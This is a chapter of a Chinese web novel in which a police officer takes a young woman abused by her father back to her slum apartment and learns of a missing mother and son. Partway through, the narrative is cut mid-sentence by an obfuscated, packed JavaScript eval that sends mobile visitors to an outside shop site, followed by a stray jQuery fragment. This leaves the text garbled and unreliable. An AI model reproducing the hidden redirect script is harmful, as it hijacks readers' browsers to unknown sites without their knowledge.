输完液从医院出来，直到站在商玄的车门前，殷颂都一直揪住他的衣角不放。
商玄暗暗叹了一口气，觉得自己太纵容自己了，太享受她依恋自己的感觉，多少有些卑鄙无耻，得赶紧送她回家。
打开车门催她上车，她不得不暂时松开手，他松了一口气，却又心里空落落的。哎……
殷颂上车后，心里也空落落的，目光一直追着商玄，双手搁在膝盖上紧紧攥着。接下来他是送她回警局继续做笔录，还是回家？
“我们现在要去哪里？”她急忙问。
“先送你回家。把安全带系好。”
殷颂没动，“我不想回家。我不敢回去，我爸整天喝得醉醺醺的，一看到我就打骂我。”看到商玄眼里的震惊，害怕他不相信，她撸起袖子焦急地说：“不信你看。”
商玄呼吸一滞，一条条红肿淤斑和紫红色的血痕布满整条雪白的手臂，触目惊心。根据他的经验，这些伤痕是皮带抽打之后形成的，而且不是一次，是多次不同时间的抽打。
她现在已经成年了，还会遭受她爸的家暴，那在未成年之前呢？是不是经常遭受她爸的家暴？
她还只是个孩子，为人父亲怎么忍心下得了手！？
殷颂不见他说话，以为是自己伤得不够重不足以让他心疼，抓住上衣边角往上掀开，露出侧腰间大片淤青！
商玄觉得胸口闷疼，几乎不能呼吸，眼看她还要往上继续撩开衣服，赶紧按住她的手。“够了！”
“你不相信我？”殷颂眼眶瞬间湿润，“你还想要送我回家，然后不管我？”
“我信！也没有说不管你！”商玄不自觉握紧拳头的手因为太过用力而颤抖，抓她的那只手也不自觉收紧力道，直到察觉到她皱着眉头发出微弱的痛呼声，才惊慌地松开手。
“刚才怎么不跟我说？你身体还有哪里不舒服？下车！让医生给你做个全面体检。”他摸上车门锁，就要开门下车。
殷颂加快的心跳，跳得越发厉害，全面体检这得花多少钱？那么一大笔钱，他不可能再帮自己出了吧？她赶紧双手齐上，抓住他的手臂试图将他拉回来。
“我没事，不用去做体检！这些伤已经好得差不多了，平常都感觉不到疼，只是不小心碰到的时候才会感觉到有点疼！”
刚转过去的身体转了回来，商玄深深叹了一声，低头苦笑。现在是晚上，上班的只有急诊科的医生，想要做伤痕鉴定和体检，需要等到明天专业医生上班。太着急太担心，一时间竟然忘了。
殷颂不明所以，疑惑地看着他。他为什么要叹气，为什么要苦笑，是觉得她在撒谎吗？
“你不要骗我，身体到底还有哪里不舒服，一定要诚实回答我！”商玄转过头盯着她的眼睛看，露出警察叔叔该有的威严。她虽然心思多，但终究单纯见识不够，想要骗他可不容易。“有病或不舒服的一定一定要及时治疗知不知道？”
殷颂明白他说的道理，但这是在经济条件允许的情况下才能做出的选择，她的经济条件不允许她首先考虑身上的病痛，得首先考虑填饱肚子活下去。
“我，没有钱。”
商玄一愣，有一种破天荒的无力感。这世间到底有多少苦难是没有钱造成的？又深深叹了一口气，她要是早点遇见他就好了。
“如果你爸真的对你实施家暴，你可以报警，我会帮你。但想要证明你爸对你实施了家暴，需要体检取得诊断证明。你不用担心钱的问题，我会帮你。”
他的语气诚恳，眼里全是怜悯，一连说了两次“我会帮你。”
“但要等明天医生上班。现在先回去，明天我再带你来做体检。除了手臂上和腰上的伤，你还有什么地方也受伤了？”
殷颂不敢相信，不敢奢望真的有人能帮她这么多，他也太好了！但这么做了之后能把她爸抓起来吗？可把她爸抓起来，她不用再挨打了，也完全没了经济来源。现在这个大环境，她一个没毕业的大学生要找到一份工作太难了！她该怎么活下去到读完大学？
眼前这个人可以资助她吗？对象如果是他，以身相许，她真的可以的。她呆呆地想着，点点头，看他的样子是真的心疼她，那就该让他多心疼点。
她摸了摸膝盖，“这里，”又摸了摸胸口，扯开领口，“还有这里。”
她的目光一直盯着商玄，看到他揪心的神情一瞬间转变，慌忙地移开目光，耳根悄悄发红。她仍旧扒拉着衣服领口没有松开，“最疼的是这里。”
她胸口上确实有一块淤青，但已经好得差不多，一眼看过去，很容易注意到她雪白细腻的皮肤和形状漂亮的锁骨。
商玄不敢回头看，面对着车窗闭上眼睛，感受到自己过快的心跳，无比震惊的同时也无比无奈，这种时候她竟然还有心思动歪心思，真是服了！
“先去药店买点药，再送你回家。”他系好安全带握紧方向盘，只敢目视前方。
“我都这样了，你还要送我回家？”殷颂丧气又上火。
“先回去看看。我相信你说的，但还是要去你家核实一下情况。”商玄克制住自己躁动又不安的情绪，让自己尽量平静地说出这些话，“不管怎么样，去你家看看的流程不能少！”
殷颂明白这个道理，他的职业要求他就得这么做，可她还是好生气，“我困了，我想睡觉！”他想看自己去看好了，她要赖在车上不下去！她转了个身靠在椅背上闭上眼睛，不想面对他，此刻的他一点都不像她的天使！
商玄目光回落在她身上，他并不想让她生气，难过，但总不能收留她住进他家吧？这个念头一闪现，心跳猛然加快。他竟然有点想。他连忙制止自己生出不该有的想法。
“嗯。困了就先在车上睡。”
“哼！”
“把安全带系好。”
“哼！”
她哼着气伸手去系安全带，系完还是背对着他。
商玄忽然间被她逗笑了，一只生着气还乖乖听话的小兔子，好想摸摸她的脑袋。
手已经不自觉伸出去，快要摸到她脑袋时意识到不对，急忙收回去。
他摇了摇头，压下心底的波动，赶紧发动车离开医院。半个小时后，来到她系统登记上的住址。
殷颂的家是租的，在一栋相当破旧的公寓里。公寓一共五层，每层六户人家，走廊和阳台为开放式，她的家就在第二层靠近楼梯口的那间。
商玄把车停在公寓对面的便利店旁边，“我先上去看看，你不想上去就先待在车里。”
殷颂继续装睡，不理会他。其实她没有生气，她怎么敢生气，只是害怕他会赶她下车。
但他并没有强求，等不到她回应，提醒她关好车门等他回来就下了车。
殷颂听到下车关门的声音，连忙起身往窗外看，他已经过了只有单车道的马路朝公寓走去。
公寓大楼像一只怪兽躲在黑夜里，外墙被又黑又黄的水渍铺满，每一扇生锈的绿色铁门都像怪兽的大口。这样脏污破败的地方要不是没钱根本没人愿意住在这里。
这片区域被当地人称作贫民窟，当地政府曾经出面试图推动改造，但居住在这片区域的居民基本上都经济条件不好，拿不出改造的钱。租户又因为担心改造之后房租上涨闹事反对改造，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965789|214508||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
所以一直保留着这幅鬼样子。
商玄已经上了二楼，一路走过来，随处可见的垃圾，到处都飘散着一股说不清楚的臭味，空气特别潮湿黏腻。他没有想到殷颂竟然居住在这么糟糕的地方！
楼梯口左边的那间就是殷颂的家，绿漆大门脱了大半漆，没有门铃，他锤了两下门，没人回应，又喊了两声，屋里没人应，楼梯上正巧走下来的人应了。
“咳咳咳，吵死了！大晚上的喊这么大声干什么？震得我脑袋疼！咳咳咳！这家里面根本没人，你别喊了！”
下来的人是个四十多岁瘦骨嶙峋的男人，眼睛突出，嘴角一边向上一向下，像是患了什么病。
他走到商玄身边，又用力地咳嗽，还打了个喷嚏，对着商玄的脸。
商玄连忙退了两步，险些被喷一脸。
“你认识住这间屋子的人？”
“认识啊！住在这栋楼里的人我都认识。这家死酒鬼，咳咳咳，天天喝，命都给他喝没一半了，还是个废物，也不怪他老婆跟人跑了。嘿嘿咳咳咳，他老婆长得跟个天仙一样，还骚，怎么可能跟着他过苦日子。还有他女儿，长得也好看，以后估计也会和她妈一样到处勾搭男人！你不会就是来找他女儿的吧？”
男人上下打量商玄，“长得人模人样的，但主要是衣服不错，我要是换上你这身衣服也好看！咳咳咳！”
商玄冷了脸，这人身上有很重的烟味，开口说话还有一股恶臭喷出来。
“住这屋里的人平常在哪里工作知不知道？”系统上登记的殷颂爸爸信息，没有固定工作。
“工作？咳咳咳，他哪里有工作，他都是靠他前妻给的抚养费活着！有个前妻就是好啊，我也想有个前妻给我付抚养费！”
“那知不知道他平常会去哪里喝酒？”
“不知道！死酒鬼晦气得很，我对他又不感兴趣干嘛跟踪他！咳咳咳……”
楼上突然传来一声巨响，像是什么重物砸到地上，紧接着传来怒骂声，“王八羔子，老子终有一天要把你们通通踩在脚下叫爸爸！”
“又发疯了，这家伙隔三差五就摔东西，他家的东西几乎都被他摔烂了！他好像有狂躁症，因为这个病上个月工作丢了，之后天天在家咒骂他老板，我都被他烦死了！”
商玄仔细听，楼上的人果然又咒骂了一声他的老板。“那这屋里的人一般什么时候会在家？”
“不知道，好久不见了。估计在哪里醉死了吧。她女儿这两天也没见到人影，估计也悬！他们家隔壁住着的那对母子也是这样，一段时间不见人之后就真的没了。那娘们死在屋里，十多天后才被人发现，那家男孩也再没出现过。我估计啊，咳咳咳，不是死了就是被卖了！”
男人越说越兴奋，也咳得越厉害，“说起来那男孩长得白白净净的，也挺漂亮，像个女孩一样。好像叫，吴......吴白！听说最近很流行这一款，我之前就碰到有人偷偷找他去做鸭。”
凭借商玄的经验和直觉，这一定是一起人口失踪案。“这件事有没有人报警？”
“报警？咳咳咳，这糟糕的环境和日子，谁有空关心别人，操心自己都操心不过来。而且像他们这种人，失踪或是死了都很正常，命不值钱，根本没人关心。”
等男人离开后，商玄四处观察了这栋公寓和周围的环境，这种地方突然某一天消失或是死掉某个人确实没有什么人关心，偶然看到什么要紧的事也不会报警。
他所领队的特别行动小队正在调查的人口失踪案涉及到活人异变实验，像殷颂这种家庭的未成年是最容易被盯上的，这种地方需要重点排查一下。